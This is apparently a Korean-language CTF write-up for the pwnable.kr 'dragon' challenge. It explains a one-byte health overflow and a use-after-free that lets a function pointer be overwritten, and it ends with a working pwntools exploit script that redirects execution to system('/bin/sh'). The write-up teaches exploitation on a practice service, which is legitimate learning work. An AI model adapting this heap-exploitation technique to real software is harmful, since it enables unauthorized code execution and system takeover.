본문 바로가기

CTF

Pwnable.kr pwnable_tiny_dragon Write up

일단 먼저 기법에 대해 설명하면 간단한 UAF문제이다.

굳이 힙에 개념을 전부 파악하지 않아도 풀수있는 문제이다. 그냥 UAF가 어떤 개념인지만 알아도 충분히 풀수있는 문제이다.

 

int PlayGame()
{
  int result; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
      result = GetChoice();
      if ( result != 1 && result != 2 )
        break;
      FightDragon(result);
    }
    if ( result != 3 )
      break;
    SecretLevel();
  }
  return result;
}

일단 먼저 MAIN 함수이다.

main함수를 보면 밑에있는 SecretLevel이 눈이 띄일것이다.

unsigned int SecretLevel()
{
  char s1; // [esp+12h] [ebp-16h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", &s1);
  if ( strcmp(&s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
  {
    puts("Wrong!\n");
    exit(-1);
  }
  system("/bin/sh");
  return __readgsdword(0x14u) ^ v2;
}

코드를 확인해보면 취약점이 터지지 않는 구조이다. 아마 system("/bin/sh")로 나중에 필요할듯 하다. 일단은 여기선 취약점이 터지지 않으므로 패스하도록 하겠다.

 

바이너리를 실행시켜보면, 직업을 정하고 그 직업에 맞게 스킬을 써가면서 싸운다.

 

  JOB = malloc(16u);                            // ptr Malloc
  Dragon = malloc(16u);
  v1 = Count++;
  if ( v1 & 1 )
  {
    Dragon[1] = 1;
    *(Dragon + 8) = 80;
    *(Dragon + 9) = 4;
    Dragon[3] = 10;
    *Dragon = PrintMonsterInfo;
    puts("Mama Dragon Has Appeared!");
  }
  else
  {
    Dragon[1] = 0;
    *(Dragon + 8) = 50;                         // Baby dragon Health
    *(Dragon + 9) = 5;                          // Baby dragon Regeneration
    Dragon[3] = 30;                             // Baby dragon Damage
    *Dragon = PrintMonsterInfo;                 // Print Monster INFO
    puts("Baby Dragon Has Appeared!");
  }

코드를 보면 드래곤에 체력을 1바이트만 받고있다. 여기서 취약점 하나가 발생하게된다. 여기서 드래곤에 체력을 1바이트만 받으므로 127을 넘어가게되면 음수로 바뀌면서 드래곤을 이기게 될것이다.

 

그럼 우리가 원하는 취약점이 발생하는곳으로 이동할수 있을것이다.

if ( Attack )                                 // After Attack
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    Remembered_name = malloc(16u);
    __isoc99_scanf("%16s", Remembered_name);
    puts("And The Dragon You Have Defeated Was Called:");
    (*Dragon)(Dragon);
  }

여기서 malloc을 할당하고 dragon을 호출하게된다.

이것만보면 전혀 문제가 없는 코드이다.

하지만 다른 함수를 보게되면 애기가 달라진다.

int __cdecl PriestAttack(int JOB, void *Dragon)
{
  int v2; // eax

  do
  {
    (*Dragon)(Dragon);
    (*(JOB + 12))(JOB);
    v2 = GetChoice();
    switch ( v2 )
    {
      case 2:
        puts("Clarity! Your Mana Has Been Refreshed");
        *(JOB + 8) = 50;
        printf("But The Dragon Deals %d Damage To You!\n", *(Dragon + 3));
        *(JOB + 4) -= *(Dragon + 3);
        printf("And The Dragon Heals %d HP!\n", *(Dragon + 9));
        *(Dragon + 8) += *(Dragon + 9);
        break;
      case 3:
        if ( *(JOB + 8) <= 24 )
        {
          puts("Not Enough MP!");
        }
        else
        {
          puts("HolyShield! You Are Temporarily Invincible...");
          printf("But The Dragon Heals %d HP!\n", *(Dragon + 9));
          *(Dragon + 8) += *(Dragon + 9);
          *(JOB + 8) -= 25;
        }
        break;
      case 1:
        if ( *(JOB + 8) <= 9 )
        {
          puts("Not Enough MP!");
        }
        else
        {
          printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
          *(Dragon + 8) -= 20;
          *(JOB + 8) -= 10;
          printf("But The Dragon Deals %d Damage To You!\n", *(Dragon + 3));
          *(JOB + 4) -= *(Dragon + 3);
          printf("And The Dragon Heals %d HP!\n", *(Dragon + 9));
          *(Dragon + 8) += *(Dragon + 9);
        }
        break;
    }
    if ( *(JOB + 4) <= 0 )
    {
      free(Dragon);                             // Free Monster INFO
      return 0;
    }
  }
  while ( *(Dragon + 8) > 0 );
  free(Dragon);                                 // Free Monster INFO
  return 1;
}

여기서는 직업을 정하고 싸우는 코드이다.

그런데 밑을 보게되면 Dragon을 free 시켜주는것을 보게된다.

분명 여기서는 Free를 시켜주는데 dragon을 호출하게된다.

 

즉 싸움에서 이기게되면 Dragon을 free하게되는데, 다시 malloc을 해주면 위에있는 코드에서 초기화를 하지않은 heap영역에 Dragon이 존재했던 포인터 주소로 malloc이 되게된다. 결론은 초기화를 해주지않아서 UAF가 터진것이다. (fast chunk)

 

그래서 우리는 free가 되고 다시 malloc을 하게될떄 우리가 원하는 곳에 주소를 적게되면 그 주소로 이동할것이다.

아까 Secret Level있던 system("/bin/sh") 로 돌리면 될거같다.

 

from pwn import *

#p = process("./dragon")
p = remote("pwnable.kr",9004)

addr_binsh = 0x08048dbf

p.sendlineafter("Knight\n", "2")
p.sendlineafter("Deals 40 Damage, But You Lose 20 HP.\n","2")
p.sendlineafter("Knight\n", "1")



def stage_1():
    p.sendlineafter("You Become Temporarily Invincible.\n","3")
    p.sendlineafter("You Become Temporarily Invincible.\n","3")
    p.sendlineafter("You Become Temporarily Invincible.\n","2")

for i in range(4):
    stage_1()

p.sendafter("The World Will Remember You As:\n",p32(addr_binsh))

p.interactive()

 

 

'CTF' 카테고리의 다른 글

Pwnable.kr pwnable_loveletter Write up  (0) 2019.11.16
Pwnable.kr pwnable_fix Write up  (0) 2019.11.10
Pwnable.kr pwnable_tiny_easy Write up  (0) 2019.11.09
Pwnable.kr pwnable_echo1 Write up  (0) 2019.11.09
Pwnable.kr pwnable_fsb Write up  (0) 2019.11.08